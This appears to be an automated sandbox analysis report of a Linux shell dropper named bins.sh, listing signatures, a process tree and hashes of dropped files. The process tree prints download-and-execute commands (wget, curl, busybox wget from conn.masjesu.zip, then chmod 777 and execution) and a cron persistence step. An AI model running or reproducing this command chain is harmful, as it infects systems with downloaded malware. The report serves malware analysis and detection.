Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    17/11/2024, 04:16

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241117-evt8ea1erk
  • SHA256 6ac8551989dcc72eeb339bb438cf3ded169c70417a97f9ee6dd767375bd27af6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1002) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 34 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/d6VNkVy0HjktsVpSvKybxRsahoBWRlVPZl
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/d6VNkVy0HjktsVpSvKybxRsahoBWRlVPZl
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:723
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/d6VNkVy0HjktsVpSvKybxRsahoBWRlVPZl
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 d6VNkVy0HjktsVpSvKybxRsahoBWRlVPZl
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/d6VNkVy0HjktsVpSvKybxRsahoBWRlVPZl
          ./d6VNkVy0HjktsVpSvKybxRsahoBWRlVPZl
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm d6VNkVy0HjktsVpSvKybxRsahoBWRlVPZl
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/G9RCkVQ7xtNSwrqEbVpqshXI7rikjzWpyE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/G9RCkVQ7xtNSwrqEbVpqshXI7rikjzWpyE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/G9RCkVQ7xtNSwrqEbVpqshXI7rikjzWpyE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 G9RCkVQ7xtNSwrqEbVpqshXI7rikjzWpyE
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/G9RCkVQ7xtNSwrqEbVpqshXI7rikjzWpyE
            ./G9RCkVQ7xtNSwrqEbVpqshXI7rikjzWpyE
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm G9RCkVQ7xtNSwrqEbVpqshXI7rikjzWpyE
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/IBox7s3oFkmnxv3XagqCf02DlrL9IQOA3V
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/IBox7s3oFkmnxv3XagqCf02DlrL9IQOA3V
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:753
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/IBox7s3oFkmnxv3XagqCf02DlrL9IQOA3V
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:756
            • /bin/chmod
              chmod 777 IBox7s3oFkmnxv3XagqCf02DlrL9IQOA3V
              2⤵
              • File and Directory Permissions Modification
              PID:759
            • /tmp/IBox7s3oFkmnxv3XagqCf02DlrL9IQOA3V
              ./IBox7s3oFkmnxv3XagqCf02DlrL9IQOA3V
              2⤵
              • Executes dropped EXE
              PID:760
            • /bin/rm
              rm IBox7s3oFkmnxv3XagqCf02DlrL9IQOA3V
              2⤵
                PID:763
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/cyLQTdkB2CuT2jMgTwi0Pg7bq77L8vNTVA
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:765
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/cyLQTdkB2CuT2jMgTwi0Pg7bq77L8vNTVA
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:773
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/cyLQTdkB2CuT2jMgTwi0Pg7bq77L8vNTVA
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:781
              • /bin/chmod
                chmod 777 cyLQTdkB2CuT2jMgTwi0Pg7bq77L8vNTVA
                2⤵
                • File and Directory Permissions Modification
                PID:784
              • /tmp/cyLQTdkB2CuT2jMgTwi0Pg7bq77L8vNTVA
                ./cyLQTdkB2CuT2jMgTwi0Pg7bq77L8vNTVA
                2⤵
                • Executes dropped EXE
                PID:785
              • /bin/rm
                rm cyLQTdkB2CuT2jMgTwi0Pg7bq77L8vNTVA
                2⤵
                  PID:789
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/3b2qX3S1LCgNtvTlXY1QgAJZsxo4cgSJUc
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:790
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/3b2qX3S1LCgNtvTlXY1QgAJZsxo4cgSJUc
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:800
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/3b2qX3S1LCgNtvTlXY1QgAJZsxo4cgSJUc
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:812
                • /bin/chmod
                  chmod 777 3b2qX3S1LCgNtvTlXY1QgAJZsxo4cgSJUc
                  2⤵
                  • File and Directory Permissions Modification
                  PID:818
                • /tmp/3b2qX3S1LCgNtvTlXY1QgAJZsxo4cgSJUc
                  ./3b2qX3S1LCgNtvTlXY1QgAJZsxo4cgSJUc
                  2⤵
                  • Executes dropped EXE
                  PID:819
                • /bin/rm
                  rm 3b2qX3S1LCgNtvTlXY1QgAJZsxo4cgSJUc
                  2⤵
                    PID:821
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/RtAqtTa9EX16PCw6O8c1ky4DFfMPxaqPup
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:823
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/RtAqtTa9EX16PCw6O8c1ky4DFfMPxaqPup
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:825
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/RtAqtTa9EX16PCw6O8c1ky4DFfMPxaqPup
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:827
                  • /bin/chmod
                    chmod 777 RtAqtTa9EX16PCw6O8c1ky4DFfMPxaqPup
                    2⤵
                    • File and Directory Permissions Modification
                    PID:828
                  • /tmp/RtAqtTa9EX16PCw6O8c1ky4DFfMPxaqPup
                    ./RtAqtTa9EX16PCw6O8c1ky4DFfMPxaqPup
                    2⤵
                    • Executes dropped EXE
                    PID:829
                  • /bin/rm
                    rm RtAqtTa9EX16PCw6O8c1ky4DFfMPxaqPup
                    2⤵
                      PID:831
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/QhLGKVw6AVDpffovav4ugu9tP2Z2lJ3c38
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:832
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/QhLGKVw6AVDpffovav4ugu9tP2Z2lJ3c38
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:833
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/QhLGKVw6AVDpffovav4ugu9tP2Z2lJ3c38
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:835
                    • /bin/chmod
                      chmod 777 QhLGKVw6AVDpffovav4ugu9tP2Z2lJ3c38
                      2⤵
                      • File and Directory Permissions Modification
                      PID:836
                    • /tmp/QhLGKVw6AVDpffovav4ugu9tP2Z2lJ3c38
                      ./QhLGKVw6AVDpffovav4ugu9tP2Z2lJ3c38
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:837
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:839
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:840
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:841
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:842
                          • /bin/rm
                            rm QhLGKVw6AVDpffovav4ugu9tP2Z2lJ3c38
                            2⤵
                              PID:844
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/ChKsGuPEVCLYTk2ec7JFeDnAZbR51U3WgA
                              2⤵
                              • System Network Configuration Discovery
                              PID:847
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/ChKsGuPEVCLYTk2ec7JFeDnAZbR51U3WgA
                              2⤵
                              • System Network Configuration Discovery
                              PID:932
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/ChKsGuPEVCLYTk2ec7JFeDnAZbR51U3WgA
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:933
                            • /bin/chmod
                              chmod 777 ChKsGuPEVCLYTk2ec7JFeDnAZbR51U3WgA
                              2⤵
                              • File and Directory Permissions Modification
                              PID:934
                            • /tmp/ChKsGuPEVCLYTk2ec7JFeDnAZbR51U3WgA
                              ./ChKsGuPEVCLYTk2ec7JFeDnAZbR51U3WgA
                              2⤵
                              • Executes dropped EXE
                              PID:935
                            • /bin/rm
                              rm ChKsGuPEVCLYTk2ec7JFeDnAZbR51U3WgA
                              2⤵
                                PID:938
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/rc4ThBE7L79IwGz2tJhAsN7R5984lzuZJu
                                2⤵
                                • System Network Configuration Discovery
                                PID:939
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/rc4ThBE7L79IwGz2tJhAsN7R5984lzuZJu
                                2⤵
                                • System Network Configuration Discovery
                                PID:941
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/rc4ThBE7L79IwGz2tJhAsN7R5984lzuZJu
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:944
                              • /bin/chmod
                                chmod 777 rc4ThBE7L79IwGz2tJhAsN7R5984lzuZJu
                                2⤵
                                • File and Directory Permissions Modification
                                PID:949
                              • /tmp/rc4ThBE7L79IwGz2tJhAsN7R5984lzuZJu
                                ./rc4ThBE7L79IwGz2tJhAsN7R5984lzuZJu
                                2⤵
                                • Executes dropped EXE
                                PID:950
                              • /bin/rm
                                rm rc4ThBE7L79IwGz2tJhAsN7R5984lzuZJu
                                2⤵
                                  PID:954
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/KK00lDBvFBCmRkTyBVrqzaaAXlAfoMQg6k
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:955
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/KK00lDBvFBCmRkTyBVrqzaaAXlAfoMQg6k
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:958
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/KK00lDBvFBCmRkTyBVrqzaaAXlAfoMQg6k
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:960
                                • /bin/chmod
                                  chmod 777 KK00lDBvFBCmRkTyBVrqzaaAXlAfoMQg6k
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:963
                                • /tmp/KK00lDBvFBCmRkTyBVrqzaaAXlAfoMQg6k
                                  ./KK00lDBvFBCmRkTyBVrqzaaAXlAfoMQg6k
                                  2⤵
                                  • Executes dropped EXE
                                  PID:965
                                • /bin/rm
                                  rm KK00lDBvFBCmRkTyBVrqzaaAXlAfoMQg6k
                                  2⤵
                                    PID:968
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/WhSkTbXM9rTouneHuR92M9FvkIvmQRufFg
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:969
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/WhSkTbXM9rTouneHuR92M9FvkIvmQRufFg
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:970
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/WhSkTbXM9rTouneHuR92M9FvkIvmQRufFg
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:972
                                  • /bin/chmod
                                    chmod 777 WhSkTbXM9rTouneHuR92M9FvkIvmQRufFg
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:979
                                  • /tmp/WhSkTbXM9rTouneHuR92M9FvkIvmQRufFg
                                    ./WhSkTbXM9rTouneHuR92M9FvkIvmQRufFg
                                    2⤵
                                    • Executes dropped EXE
                                    PID:992
                                  • /bin/rm
                                    rm WhSkTbXM9rTouneHuR92M9FvkIvmQRufFg
                                    2⤵
                                      PID:995
                                    • /usr/bin/wget
                                      wget http://conn.masjesu.zip/bins/OQFyh56eJ84VdHZEVBJeNh8dci7kK4xnkM
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:996

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

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                                        Downloads

                                        3b2qX3S1LCgNtvTlXY1QgAJZsxo4cgSJUc

                                        • Path /tmp/3b2qX3S1LCgNtvTlXY1QgAJZsxo4cgSJUc
                                        • Size 177KB
                                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                        • MD5 SHA1 SHA512 SSDEEP

                                        ChKsGuPEVCLYTk2ec7JFeDnAZbR51U3WgA

                                        • Path /tmp/ChKsGuPEVCLYTk2ec7JFeDnAZbR51U3WgA
                                        • Size 111KB
                                        • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                        • MD5 SHA1 SHA512 SSDEEP

                                        G9RCkVQ7xtNSwrqEbVpqshXI7rikjzWpyE

                                        • Path /tmp/G9RCkVQ7xtNSwrqEbVpqshXI7rikjzWpyE
                                        • Size 117KB
                                        • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                        • MD5 SHA1 SHA512 SSDEEP

                                        IBox7s3oFkmnxv3XagqCf02DlrL9IQOA3V

                                        • Path /tmp/IBox7s3oFkmnxv3XagqCf02DlrL9IQOA3V
                                        • Size 151KB
                                        • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                        • MD5 SHA1 SHA512 SSDEEP

                                        KK00lDBvFBCmRkTyBVrqzaaAXlAfoMQg6k

                                        • Path /tmp/KK00lDBvFBCmRkTyBVrqzaaAXlAfoMQg6k
                                        • Size 107KB
                                        • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                        • MD5 SHA1 SHA512 SSDEEP

                                        QhLGKVw6AVDpffovav4ugu9tP2Z2lJ3c38

                                        • Path /tmp/QhLGKVw6AVDpffovav4ugu9tP2Z2lJ3c38
                                        • Size 151KB
                                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                        • MD5 SHA1 SHA512 SSDEEP

                                        RtAqtTa9EX16PCw6O8c1ky4DFfMPxaqPup

                                        • Path /tmp/RtAqtTa9EX16PCw6O8c1ky4DFfMPxaqPup
                                        • Size 127KB
                                        • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                        • MD5 SHA1 SHA512 SSDEEP

                                        WhSkTbXM9rTouneHuR92M9FvkIvmQRufFg

                                        • Path /tmp/WhSkTbXM9rTouneHuR92M9FvkIvmQRufFg
                                        • Size 99KB
                                        • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                        • MD5 SHA1 SHA512 SSDEEP

                                        cyLQTdkB2CuT2jMgTwi0Pg7bq77L8vNTVA

                                        • Path /tmp/cyLQTdkB2CuT2jMgTwi0Pg7bq77L8vNTVA
                                        • Size 98KB
                                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                        • MD5 SHA1 SHA512 SSDEEP

                                        d6VNkVy0HjktsVpSvKybxRsahoBWRlVPZl

                                        • Path /tmp/d6VNkVy0HjktsVpSvKybxRsahoBWRlVPZl
                                        • Size 119KB
                                        • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                        • MD5 SHA1 SHA512 SSDEEP

                                        rc4ThBE7L79IwGz2tJhAsN7R5984lzuZJu

                                        • Path /tmp/rc4ThBE7L79IwGz2tJhAsN7R5984lzuZJu
                                        • Size 122KB
                                        • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                        • MD5 SHA1 SHA512 SSDEEP

                                        tmp.Wx33Am

                                        • Path /var/spool/cron/crontabs/tmp.Wx33Am
                                        • Size 210B
                                        • SHA256 9742b0e845f675d002534a49c7ae39ff5788016b96e6cbaaf892837581afab3e
                                        • MD5 SHA1 SHA512